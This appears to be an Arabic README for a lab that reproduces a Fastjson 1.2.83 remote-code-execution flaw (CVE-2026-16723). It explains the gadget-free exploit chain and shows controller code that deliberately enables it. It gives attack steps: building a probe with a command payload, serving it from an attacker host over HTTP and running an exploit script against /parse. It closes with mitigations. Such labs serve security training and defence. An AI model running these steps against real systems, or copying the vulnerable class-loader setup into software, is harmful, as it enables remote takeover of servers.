
Fastjson 1.2.83 RCE بيئة التدريب (CVE-2026-16723)
إخلاء مسؤولية: هذا المختبر مخصّص فقط للبحث الأمني والعروض التعليمية وبناء الدفاعات في بيئات مصرّح بها. قد يكون اختبار أهداف غير مصرّح بها غير قانوني، وتقع مسؤولية العواقب على المستخدم.
| المشروع | المحتوى |
|---|---|
| CVE | CVE-2026-16723 (CVSS 9.0) |
| الإصدارات المتأثرة | Fastjson 1.2.68 ~ 1.2.83 |
| نوع الثغرة | تنفيذ كود عن بُعد عبر إلغاء التسلسل (RCE) |
| السمة الأساسية | Gadget-free (لا تعتمد على أي مكتبات طرف ثالث) |
| شروط RCE الكاملة | JDK 8 + Spring Boot Fat-JAR + تعطيل SafeMode |
Fastjson 1.2.83
تعبئة Spring Boot fat-JAR (يتضمن LaunchedURLClassLoader، وهو مكوّن ضروري لسلسلة الاستغلال)
سطر رئيسي مُعدّل: يستدعي ParseController الدالة JSON.parse() بعد تبديل ClassLoader الخاص بالخيط إلى LaunchedURLClassLoader (Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader()))، وهذا شرط أساسي لكي يتمكن مسار اكتشاف @JSONType من تحميل الفئات عن بُعد
يوفر المختبر نقطتي تحليل: /parse (JSON.parse) و /parseObject (JSON.parseObject)
البناء من المصدر لإنشاء fat-JAR (يتطلب JDK 8 + Maven):
git clone https://github.com/why-success/fastjson-rce-lab.git
cd fastjson-rce-lab
mvn clean package -DskipTests
الملف الناتج موجود في target/fastjson-rce-lab.jar.
إذا لم يكن Maven مثبتًا، يمكنك استخدام Maven Wrapper المرفق مع المشروع (يتطلب إعداد
mvnwمسبقًا).
# انقر نقرًا مزدوجًا على start.bat
# أو عبر سطر الأوامر
java -Xmx256m -Xms64m -XX:MaxMetaspaceSize=128m -XX:+UseSerialGC -jar target\fastjson-rce-lab.jar --server.port=18080
chmod +x start.sh
./start.sh
# أو التشغيل اليدوي
ulimit -n 65536
java -Xmx256m -Xms64m -XX:MaxMetaspaceSize=128m -XX:+UseSerialGC -jar target/fastjson-rce-lab.jar --server.port=18080
بخصوص
--server.port=18080: قد توجد متغيرات بيئة مثلSERVER__PORTفي البيئة المحيطة تتجاوز إعدادات المنفذ فيapplication.properties، لذا فإن فرض المنفذ عبر معاملات سطر الأوامر يضمن صحته (معاملات سطر الأوامر لها الأولوية القصوى).
بخصوص معاملات JVM: المعاملان
-Xmx256m -XX:+UseSerialGCمخصصان لتشغيل المختبر على أجهزة افتراضية منخفضة الذاكرة (مثل Kali بذاكرة 2-4G) لتجنب OOM أثناء تهيئة JVM. إذا كانت ذاكرة الجهاز كافية يمكن حذفهما.
curl http://127.0.0.1:18080/status
الاستجابة المتوقعة:
{
"fastjsonVersion": "1.2.83",
"safeMode": false,
"autoTypeSupport": false,
"vulnerable": true,
"javaVersion": "1.8.0_xxx"
}
عندما تكون safeMode: false و vulnerable: true فهذا يعني أن البيئة في حالة قابلة للاستغلال.
1. يرسل المهاجم JSON مخصصًا (يشير @type إلى مسار مورد jar:http)
2. تقوم checkAutoType() في Fastjson بتحويل nameType إلى مسار مورد "typeName.replace('.', '/') + .class" للاكتشاف
3. يطلق getResourceAsStream() استدعاء LaunchedURLClassLoader → إرسال طلب HTTP لسحب JAR عن بُعد
4. يفحص ASM البايت كود، ويعثر على تعليق @JSONType → يعتبره إشارة موثوقة
5. يتجاوز فحص الفئات الأساسية الخطرة → loadClass() → defineClass()
6. يتم تشغيل كتلة التهيئة الثابتة <clinit> → RCE
// ParseController.java — نقطة /parse
@PostMapping("/parse")
public Map<String, Object> parse(@RequestBody String body) {
// ⚠️ هذا السطر هو المفتاح: التبديل إلى LaunchedURLClassLoader
Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader());
Object obj = JSON.parse(body);
// ...
}
بدون سطر setContextClassLoader هذا، يستخدم Fastjson AppClassLoader الافتراضي للنظام، ولا يمكنه تحميل الفئات عن بُعد عبر بروتوكول jar:http://.
git clone https://github.com/0x7eTeam/fastjson-1.2.83-rce.git
cd fastjson-1.2.83-rce
ملف poc/GenProbe.java المرفق بالمستودع كان به مشكلتا توافق تم إصلاحهما:
/bin/bash -c → تم تغييره إلى إصدار عام باستخدام Runtime.exec(String) (يعمل على Windows/Linux)"cmd /c xxx"، وعلى Linux استخدم مباشرة "touch /tmp/pwned" أو "bash -c xxx"تجد دليل الهجوم الكامل في 靶场测试完整指南.md (في نفس الدليل)، ويتضمن:
# على جهاز المهاجم (أو أي جهاز يمكنه تجميع Java)
cd fastjson-1.2.83-rce
javac -encoding UTF-8 -cp "poc/lib/*" -d poc/classes poc/GenProbe.java
java -cp "poc/classes;poc/lib/asm-9.6.jar;poc/lib/fastjson-1.2.83.jar" GenProbe KALI_IP 19090 "cmd /c calc"
# انسخ poc/www/probe إلى Kali
# ابدأ الاستضافة HTTP على Kali
cd poc/www && python3 -m http.server 19090
# أعد تشغيل المختبر → نفّذ exp من نافذة طرفية جديدة على Kali
python3 poc/exp.py -u http://靶场IP:18080/parse -poc http://KALI_IP:19090/probe
# معامل تشغيل JVM
-Dfastjson.parser.safeMode=true
// إعداد عبر الكود
ParserConfig.getGlobalInstance().setSafeMode(true);
<dependency>
<groupId>com.alibaba.fastjson2</groupId>
<artifactId>fastjson2</artifactId>
<version>2.x</version>
</dependency>
Fastjson2 غير متأثر بهذه الثغرة.
com.alibaba:fastjson:1.2.83_noneautotype| الطريقة | المسار | الوصف |
|---|
| GET | / | الصفحة الرئيسية للمختبر (HTML) |
| GET | /status | حالة إعدادات Fastjson (JSON) |
| POST | /parse | JSON.parse(body) — نقطة الاستغلال الرئيسية |
| POST | /parseObject | JSON.parseObject(body) — نقطة استغلال احتياطية |